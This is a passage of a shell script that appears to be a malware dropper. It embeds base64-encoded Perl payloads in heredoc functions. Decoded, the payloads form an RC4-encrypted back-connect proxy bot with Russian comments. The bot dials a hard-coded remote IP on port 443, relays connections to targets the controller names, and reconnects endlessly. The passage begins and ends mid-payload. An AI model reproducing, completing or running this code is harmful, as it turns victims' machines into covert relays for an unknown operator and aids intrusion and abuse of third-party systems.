IGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CiAgICAgICAgfQoKICAgICAgICBteSAk
cG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpOwogICAgICAgICRwb2NrZW1vbjEg
Kz0gdmVjKCRrZXlfcmVmLCAkcG9ja2Vtb24yLCA4KTsKICAgICAgICAkcG9ja2Vtb24xICY9IDI1
NTsKICAgICAgICAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CiAgICAgICAgJHBvY2tlbW9uMSAm
PSAyNTU7CgogICAgICAgIG15ICRwb2NrZW1vbjYgPSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCk7
CiAgICAgICAgdmVjKCRyYzQsICRwb2NrZW1vbjAsIDgpID0gJHBvY2tlbW9uNjsKICAgICAgICB2
ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoKICAgICAgICAkcG9ja2Vtb24w
Kys7CiAgICAgICAgJHBvY2tlbW9uMCAmPSAyNTU7CgogICAgICAgIGlmICgkcG9ja2Vtb24wICE9
IDApIHsKICAgICAgICAgICAgJGdzID0gMTsKICAgICAgICAgICAgbmV4dDsKICAgICAgICB9Cgog
ICAgICAgICMg0J7RgdC90L7QstC90L7QtSDRiNC40YTRgNC+0LLQsNC90LjQtQogICAgICAgICRw
b2NrZW1vbjEgPSAwOwogICAgICAgICRwb2NrZW1vbjAgPSAwOwogICAgICAgICRwb2NrZW1vbjIg
PSAwOwoKICAgICAgICBmb3IgKG15ICRwb2NrZW1vbjMgPSAwOyAkcG9ja2Vtb24zIDwgJHN6OyAk
cG9ja2Vtb24zKyspIHsKICAgICAgICAgICAgJHBvY2tlbW9uMisrOwogICAgICAgICAgICAkcG9j
a2Vtb24yICY9IDI1NTsKCiAgICAgICAgICAgICRwb2NrZW1vbjcgPSB2ZWMoJHJjNCwgJHBvY2tl
bW9uMiwgOCk7CiAgICAgICAgICAgICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKICAgICAgICAg
ICAgJHBvY2tlbW9uMSAmPSAyNTU7CgogICAgICAgICAgICBteSAkcG9ja2Vtb244ID0gdmVjKCRy
YzQsICRwb2NrZW1vbjEsIDgpOwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMiwgOCkg
PSAkcG9ja2Vtb244OwogICAgICAgICAgICB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9j
a2Vtb243OwoKICAgICAgICAgICAgJHBvY2tlbW9uOCArPSAkcG9ja2Vtb243OwogICAgICAgICAg
ICAkcG9ja2Vtb244ICY9IDI1NTsKCiAgICAgICAgICAgIHZlYygkZGF0YV9yZWYsICRzdGFydCAr
ICRwb2NrZW1vbjMsIDgpIF49IHZlYygkcmM0LCAkcG9ja2Vtb244LCA4KTsKICAgICAgICB9Cgog
ICAgICAgIGxhc3Q7CiAgICB9CgogICAgIyDQktGC0L7RgNC+0LkgWE9SINGBINC60LvRjtGH0L7Q
vAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwgJHN6OyAkaSsrKSB7CiAgICAgICAgdmVjKCRkYXRh
X3JlZiwgJHN0YXJ0ICsgJGksIDgpIF49IHZlYygka2V5X3JlZiwgJGkgJSAkbGVuZ3RoLCA4KTsK
ICAgIH0KCiAgICAkJGJ1ZmYwID0gJGRhdGFfcmVmOwp9CgojINCe0LHQtdGA0YLQutCwINC00LvR
jyDRgdC+0LLQvNC10YHRgtC40LzQvtGB0YLQuCDRgSDQvtGA0LjQs9C40L3QsNC70YzQvdGL0Lwg
0LLRi9C30L7QstC+0LwKc3ViIFJjNF9jcnlwdCB7CiAgICBSYzRfY3J5cHRfZmFzdChAXyk7Cn0K
CiMgPT09PT09PT09PT09PT09PT09PT09PSDQntCf0KLQmNCc0JjQl9CY0KDQntCS0JDQndCd0KvQ
mSBCQ0NOQ1QgPT09PT09PT09PT09PT09PT09PT09PQpzdWIgYmNjbmN0X29wdGltaXplZCB7CiAg
ICBteSAoJGhvc3QsICRwb3J0KSA9IEBfOwoKICAgIG15ICRyZW1haW5pbmcgPSAwOwogICAgbXkg
JHJlbWFpbmluZzQgPSAwOwogICAgbXkgJGRvbWFpbjsKICAgIG15ICRwb3J0MDsKICAgIG15IEBz
b2NrZXRhcnI7CiAgICBteSBAc29ja2V0YXJyYXk7CiAgICBteSAkYnVmZmVyID0gIlx4MDAiIHgg
MTAwOwogICAgbXkgJGJ1ZmZlcm51bGwgPSAiXHgwMFx4MDBceDAwIjsKICAgIG15ICRidWZmZXIw
ID0gIlx4MDAiIHggNjU1MzY7CiAgICBteSAkYnVmZmVyMSA9ICJceDAwIiB4IDY1NTM2OwogICAg
bXkgJGlzRXhpdCA9IDA7CiAgICBteSAkX3JldDAgPSAwOwogICAgbXkgJGVjeCA9IDA7CiAgICBt
eSAkZWF4ID0gMDsKICAgIG15ICRkYXRhID0gMDsKICAgIG15ICRfcmV0ID0gMDsKICAgIG15ICRl
YnggPSAwOwogICAgbXkgJGVkeCA9IDA7CiAgICBteSAkY291bnRlciA9IDA7CiAgICBteSAkY291
bnRjYyA9IDA7CiAgICBteSAkcmluID0gJyc7CiAgICBteSAkc3RyX3ZlYyA9ICJceDAwIjsKICAg
IG15ICRzdHJfd2VjID0gIlx4MDBceDAwIjsKCiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7
ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCiAgICBteSAkcmVzcG9uY2UgPSAiXHgw
MFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgogICAg
IyDQodC+0LfQtNCw0L3QuNC1INC4INC90LDRgdGC0YDQvtC50LrQsCDQs9C70LDQstC90L7Qs9C+
INGB0L7QutC10YLQsAogICAgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RS
RUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpIG9yIHJldHVybiAwOwoKICAgIHNldHNvY2tvcHQo
JHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKICAgIHNldHNvY2tv
cHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYp
KTsKICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05EQlVGLCBw
YWNrKCJJIiwgNjU1MzYpKTsKCiAgICBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGlu
ZXRfYXRvbigkJGhvc3QpKTsKICAgIHVubGVzcyhjb25uZWN0KCRzb2NrZXRhcnJbMF0sICRwYWRk
cikpIHsgZ290byBjbG9zZTA7IH0KCiAgICAjINCe0YLQv9GA0LDQstC60LAgaGFuZHNoYWtlCiAg
ICBzdWJzdHIoJGJ1ZmZlciwgMCwgNTApID0gJHhvcmRhdGE7CiAgICBzdWJzdHIoJGJ1ZmZlciwg
NTAsIDIpID0gIlx4RkZceEZGIjsKICAgIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwg
c2NyaXB0IjsKCiAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7
CiAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBsZW5ndGgoJGJ1ZmZlcikpOwoK
ICAgIG15ICRsYXN0X2FjdGl2aXR5ID0gdGltZSgpOwoKICAgIHdoaWxlKDEpIHsKICAgICAgICAj
INCf0YDQvtCy0LXRgNGP0LXQvCDRgtCw0LnQvNCw0YPRgiDQvdC10LDQutGC0LjQstC90L7RgdGC
0LgKICAgICAgICBpZiAodGltZSgpIC0gJGxhc3RfYWN0aXZpdHkgPiA2MCkgewogICAgICAgICAg
ICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXJudWxsLCAwLCAzKTsKICAgICAgICAg
ICAgc3lzd3JpdGUoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVs
bCkpOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUoKTsKICAgICAgICB9CgogICAg
ICAgICRjb3VudGNjID0gMDsKICAgICAgICAkcmluID0gJyc7CgogICAgICAgICMg0J/RgNC+0LLQ
tdGA0Y/QtdC8INCw0LrRgtC40LLQvdGL0LUg0YHQvtC60LXRgtGLICjRhtC10LvQtdCy0YvQtSDR
gdC10YDQstC10YDRiykKICAgICAgICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsK
ICAgICAgICAgICAgaWYgKCRzb2NrZXRhcnJheVskaV0gPT0gMSkgewogICAgICAgICAgICAgICAg
dmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWyRpXSksIDEpID0gMTsKICAgICAgICAgICAgICAg
ICRjb3VudGNjKys7CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgICMg0J7QsdGA0LDQ
sdC+0YLQutCwINC00LDQvdC90YvRhSDQvtGCINGG0LXQu9C10LLRi9GFINGB0LXRgNCy0LXRgNC+
0LIKICAgICAgICBpZiAoJGNvdW50Y2MgPiAwKSB7CiAgICAgICAgICAgIHVubGVzcyAoc2VsZWN0
KCRyaW4sIHVuZGVmLCB1bmRlZiwgMC4wMDEpKSB7IGdvdG8gbmV4dF9fOyB9CgogICAgICAgICAg
ICBmb3IgKG15ICRpID0gMTsgJGkgPCAyMDA7ICRpKyspIHsKICAgICAgICAgICAgICAgIGlmICgo
JHNvY2tldGFycmF5WyRpXSA9PSAxKSAmJiB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGld
KSwgMSkpIHsKICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclsk
aV0sICRidWZmZXIxLCA2NTUzMCwgMyk7CgogICAgICAgICAgICAgICAgICAgIHVubGVzcyAoJGRh
dGEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRpXSA9IDA7CiAgICAg
ICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGldKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAg
ICAgc3Vic3RyKCRyZXNwb25jZSwgMCwgMSkgPSAkc3RyX3ZlYzsKICAgICAgICAgICAgICAgICAg
ICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAiOwoKICAgICAgICAgICAg
ICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBdLCAkcmVzcG9uY2Us
IDMsIDApOwogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAg
ICAgIHZlYygkc3RyX3ZlYywgMCwgOCkgPSAkaTsKICAgICAgICAgICAgICAgICAgICAgICAgc3Vi
c3RyKCRidWZmZXIxLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJGJ1ZmZlcjEsIDEsIDIpID0gcGFjaygnUycsICRkYXRhKTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjEsIDAsIDMpOwogICAg
ICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIxLCAz
LCAkZGF0YSk7CgogICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWzBd
LCAkYnVmZmVyMSwgMyArICRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAg
ICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CgogICAgICAgIG5leHRfXzoKCiAgICAgICAg
IyDQn9GA0L7QstC10YDRj9C10Lwg0LTQsNC90L3Ri9C1INC+0YIg0LPQu9Cw0LLQvdC+0LPQviDR
gdC10YDQstC10YDQsAogICAgICAgIGlmICgkcmVtYWluaW5nNCAhPSA0KSB7CiAgICAgICAgICAg
ICRyaW4gPSAnJzsKICAgICAgICAgICAgdmVjKCRyaW4sIGZpbGVubygkc29ja2V0YXJyWzBdKSwg
MSkgPSAxOwoKICAgICAgICAgICAgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYs
IDAuMDEpOwoKICAgICAgICAgICAgbmV4dCBpZiAoJHJldCA8IDApOwoKICAgICAgICAgICAgaWYg
KCRyZXQgPT0gMCkgewogICAgICAgICAgICAgICAgJGNvdW50ZXIrKzsKCiAgICAgICAgICAgICAg
ICBpZiAoJGNvdW50ZXIgPT0gMTAwICogNjApIHsKICAgICAgICAgICAgICAgICAgICAkY291bnRl
ciA9IDA7CgogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwg
MCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwogICAgICAgICAgICAgICAgICAgIGxhc3QgaWYgKCRy
ZW1haW5pbmcgIT0gMCk7CiAgICAgICAgICAgICAgICAgICAgbGFzdCBpZiAoJHJlbWFpbmluZzQg
IT0gMCk7CgogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcm51bGwsIDAsIDMpOwogICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJb
MF0sICRidWZmZXJudWxsLCBsZW5ndGgoJGJ1ZmZlcm51bGwpKTsKICAgICAgICAgICAgICAgIH0K
CiAgICAgICAgICAgICAgICBuZXh0OwogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBp
ZiAoJHJlbWFpbmluZyAhPSAwIHx8ICRyZW1haW5pbmc0ID09IDQpIHsKICAgICAgICAgICAgaWYg
KCRlZHggPT0gMCkgewogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkg
ZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CiAgICAgICAg
ICAgICAgICAgICAgJGlzRXhpdCA9IDE7CiAgICAgICAgICAgICAgICAgICAgbGFzdDsKICAgICAg
ICAgICAgICAgIH0gZWxzaWYgKCRlYnggPCAyMDAgJiYgJGVieCA+IDAgJiYgJHNvY2tldGFycmF5
WyRlYnhdID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAw
OwogICAgICAgICAgICAgICAgICAgIGNsb3NlKCRzb2NrZXRhcnJbJGVieF0pOwoKICAgICAgICAg
ICAgICAgICAgICB2ZWMoJHN0cl92ZWMsIDAsIDgpID0gJGVieDsKICAgICAgICAgICAgICAgICAg
ICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAgICAgICAgICAgICAg
IHN1YnN0cigkcmVzcG9uY2UsIDEsIDIpID0gIlx4MDBceDAwIjsKCiAgICAgICAgICAgICAgICAg
ICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwogICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAg
ICAgICAgICAgICB9CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkZWN4ID0g
JGVkeDsKICAgICAgICAgICAgICAgICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCiAgICAgICAg
ICAgICAgICAkZGF0YSA9IHN5c3JlYWQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcjAsICRlY3gsICRy
ZW1haW5pbmcgKyA0KTsKCiAgICAgICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0K
CiAgICAgICAgICAgICAgICAkcmVtYWluaW5nICs9ICRkYXRhOwogICAgICAgICAgICAgICAgJGxh
c3RfYWN0aXZpdHkgPSB0aW1lKCk7CgogICAgICAgICAgICAgICAgaWYgKCRlZHggPT0gJHJlbWFp
bmluZykgewogICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1
ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoKICAgICAgICAgICAgICAgICAgICBpZiAodmVjKHN1YnN0
cigkYnVmZmVyMCwgMCwgMSksIDAsIDgpID09IDApIHsKICAgICAgICAgICAgICAgICAgICAgICAg
c29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5
bmFtZSgndGNwJykpOwoKICAgICAgICAgICAgICAgICAgICAgICAgJF9yZXQwID0gMDsKICAgICAg
ICAgICAgICAgICAgICAgICAgJHNvY2tldGFycmF5WyRlYnhdID0gMTsKCiAgICAgICAgICAgICAg
ICAgICAgICAgIHN1YnN0cigkcmVzcG9uY2UsIDAsIDEzKSA9ICJceDAwXHgwQVx4MDBceDA1XHgw
MVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4MDBceDAwIjsKICAgICAgICAgICAgICAgICAgICAg
ICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAgICAgICAgICAgIHN1
YnN0cigkcmVzcG9uY2UsIDAsIDEpID0gJHN0cl92ZWM7CgogICAgICAgICAgICAgICAgICAgICAg
ICBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbJGVieF0sIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwg
MSk7CiAgICAgICAgICAgICAgICAgICAgICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwg
U09MX1NPQ0tFVCwgU09fUkNWQlVGLCBwYWNrKCJJIiwgNjU1MzYpKTsKICAgICAgICAgICAgICAg
ICAgICAgICAgc2V0c29ja29wdCgkc29ja2V0YXJyWyRlYnhdLCBTT0xfU09DS0VULCBTT19TTkRC
VUYsIHBhY2soIkkiLCA2NTUzNikpOwoKICAgICAgICAgICAgICAgICAgICAgICAgZmNudGwoJHNv
Y2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwg
MCkgfCBPX05PTkJMT0NLKTsKCiAgICAgICAgICAgICAgICAgICAgICAgICMg0J7Qv9GA0LXQtNC1
0LvQtdC90LjQtSDRgtC40L/QsCDQsNC00YDQtdGB0LAgKNC+0YDQuNCz0LjQvdCw0LvRjNC90LDR
jyDQu9C+0LPQuNC60LApCiAgICAgICAgICAgICAgICAgICAgICAgIGlmICh2ZWMoc3Vic3RyKCRi
dWZmZXIwLCA3LCAxKSwgMCwgOCkgPT0gMykgewogICAgICAgICAgICAgICAgICAgICAgICAgICAg
JGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSks
IDAsIDgpKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRwb3J0MCA9IHZlYyhzdWJzdHIo
JGJ1ZmZlcjAsIDkgKyB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4LCAxKSwgMCwgOCkgKyAwLCAxKSAu
CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRidWZmZXIw
LCA5ICsgdmVjKHN1YnN0cigkYnVmZmVyMCwgOCwgMSksIDAsIDgpICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNpZiAodmVjKHN1YnN0cigkYnVmZmVyMCwgNywg
MSksIDAsIDgpID09IDEpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICRkb21haW4gPSBz
cHJpbnRmKCIlZC4lZC4lZC4lZCIsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVj
KHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpLCAwLCA4KSwKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICB2ZWMoc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSksIDAsIDgpLAogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgIHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSwg
MCwgOCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdmVjKHN1YnN0cigkYnVmZmVy
MCwgOCArIDMsIDEpLCAwLCA4KSk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkcG9ydDAg
PSB2ZWMoc3Vic3RyKCRidWZmZXIwLCAxMiArIDAsIDEpIC4KICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICBzdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMSwgMSksIDAsIDE2KTsK
ICAgICAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgIGdvdG8gY2xvc2VfOwogICAgICAgICAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAg
ICAgICAgICAgICAjINCj0YHRgtCw0L3QvtCy0LrQsCDRgdC+0LXQtNC40L3QtdC90LjRjyDRgSDR
htC10LvQtdCy0YvQvCDRgdC10YDQstC10YDQvtC8CiAgICAgICAgICAgICAgICAgICAgICAgIGV2
YWwgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4o
JHBvcnQwLCBpbmV0X2F0b24oJGRvbWFpbikpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAg
Y29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoKICAgICAgICAgICAgICAgICAgICAg
ICAgICAgIHZlYyhteSAkd2luID0gJycsIGZpbGVubygkc29ja2V0YXJyWyRlYnhdKSwgMSkgPSAx
OwogICAgICAgICAgICAgICAgICAgICAgICAgICAgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4s
IHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoKICAgICAgICAgICAgICAgICAgICAgICAgICAg
IGZjbnRsKCRzb2NrZXRhcnJbJGVieF0sIEZfU0VURkwsIGZjbnRsKCRzb2NrZXRhcnJbJGVieF0s
IEZfR0VURkwsIDApIF4gT19OT05CTE9DSyk7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICBz
dWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICRfcmV0MCA9IDE7CiAgICAgICAgICAgICAgICAgICAgICAgIH07CgogICAgICAgICAgICAg
ICAgICAgICAgICBjbG9zZV86CgogICAgICAgICAgICAgICAgICAgICAgICBSYzRfY3J5cHQoXCR4
b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CiAgICAgICAgICAgICAgICAgICAgICAgIFJj
NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CiAgICAgICAgICAgICAg
ICAgICAgICAgIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRyZXNwb25jZSwgbGVuZ3RoKCRyZXNw
b25jZSkpOwoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRfcmV0MCA9PSAwKSB7CiAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwogICAgICAgICAg
ICAgICAgICAgICAgICAgICAgY2xvc2UoJHNvY2tldGFyclskZWJ4XSk7CgogICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdmVjKCRzdHJfdmVjLCAwLCA4KSA9ICRlYng7CiAgICAgICAgICAgICAg
ICAgICAgICAgICAgICBzdWJzdHIoJHJlc3BvbmNlLCAwLCAxKSA9ICRzdHJfdmVjOwogICAgICAg
ICAgICAgICAgICAgICAgICAgICAgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi
OwoKICAgICAgICAgICAgICAgICAgICAgICAgICAgIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBc
JHJlc3BvbmNlLCAwLCAzKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHN5c3dyaXRlKCRz
b2NrZXRhcnJbMF0sICRyZXNwb25jZSwgMywgMCk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0K
ICAgICAgICAgICAgICAgICAgICB9IGVsc2lmICgkc29ja2V0YXJyYXlbJGVieF0gPT0gMSkgewog
ICAgICAgICAgICAgICAgICAgICAgICBzeXN3cml0ZSgkc29ja2V0YXJyWyRlYnhdLCAkYnVmZmVy
MCwgJHJlbWFpbmluZywgNCk7CiAgICAgICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAg
ICAgICAkcmVtYWluaW5nID0gMDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAg
ICAgICAgICAgJHJlbWFpbmluZzQgPSAwOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRl
YXggPSA0OwogICAgICAgICAgICAkZWF4ID0gJGVheCAtICRyZW1haW5pbmc0OwoKICAgICAgICAg
ICAgJGRhdGEgPSBzeXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWlu
aW5nNCk7CgogICAgICAgICAgICB1bmxlc3MgKCRkYXRhKSB7IGxhc3Q7IH0KCiAgICAgICAgICAg
ICRyZW1haW5pbmc0ICs9ICRkYXRhOwogICAgICAgICAgICAkbGFzdF9hY3Rpdml0eSA9IHRpbWUo
KTsKICAgICAgICAgICAgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAi
OwogICAgICAgICAgICAkY291bnRlciA9IDA7CgogICAgICAgICAgICBpZiAoJHJlbWFpbmluZzQg
PT0gNCkgewogICAgICAgICAgICAgICAgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVy
MCwgMCwgNCk7CgogICAgICAgICAgICAgICAgJGVieCA9IHZlYyhzdWJzdHIoJGJ1ZmZlcjAsIDEs
IDEpLCAwLCA4KTsKICAgICAgICAgICAgICAgICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1
ZmZlcjAsIDIsIDIpKTsKCiAgICAgICAgICAgICAgICAkX3JldCA9IDE7CiAgICAgICAgICAgIH0K
ICAgICAgICB9CiAgICB9CgogICAgY2xvc2UwOgoKICAgIGNsb3NlKCRzb2NrZXRhcnJbMF0pOwoK
ICAgIGZvciAobXkgJGkgPSAwOyAkaSA8IDIwMDsgJGkrKykgewogICAgICAgIGlmICgkc29ja2V0
YXJyYXlbJGldID09IDEpIHsgY2xvc2UoJHNvY2tldGFyclskaV0pOyB9CiAgICB9CgogICAgaWYg
KCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgogICAgcmV0dXJuICRfcmV0Owp9CgojID09PT09PT09
PT09PT09PT09PT09PT0g0JPQm9CQ0JLQndCr0Jkg0KbQmNCa0Jsg0KEg0K3QmtCh0J/QntCd0JXQ
ndCm0JjQkNCb0KzQndCe0Jkg0JfQkNCU0JXQoNCW0JrQntCZID09PT09PT09PT09PT09PT09PT09
PT0KbXkgJHJldHJ5X2RlbGF5ID0gMTsKbXkgJG1heF9yZXRyeV9kZWxheSA9IDE4MDsKCndoaWxl
KDEpIHsKICAgIGlmIChiY2NuY3Rfb3B0aW1pemVkKFwkaG9zdCwgXCRwb3J0KSkgewogICAgICAg
ICRyZXRyeV9kZWxheSA9IDE7ICAjINCh0LHRgNC+0YEg0LfQsNC00LXRgNC20LrQuCDQv9GA0Lgg
0YPRgdC/0LXRhdC1CiAgICAgICAgc2xlZXAgMTsKICAgIH0gZWxzZSB7CiAgICAgICAgc2xlZXAg
JHJldHJ5X2RlbGF5OwogICAgICAgICRyZXRyeV9kZWxheSA9ICRyZXRyeV9kZWxheSAqIDI7CiAg
ICAgICAgJHJldHJ5X2RlbGF5ID0gJG1heF9yZXRyeV9kZWxheSBpZiAkcmV0cnlfZGVsYXkgPiAk
bWF4X3JldHJ5X2RlbGF5OwogICAgfQp9Cg==
PAYLOAD_EOF
}
bin_48() {
cat << 'PAYLOAD_EOF'
IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0
Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsIHF3KEZf
R0VURkwgRl9TRVRGTCBPX05PTkJMT0NLKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTYnOwpt
eSAkcG9ydCA9IDQ0MzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7CmZvciAobXkgJGkgPSAw
OyAkaSA8IDUwOyAkaSsrKSB7IHZlYygkeG9yZGF0YSwgJGksIDgpID0gaW50KHJhbmQoMjU1KSk7
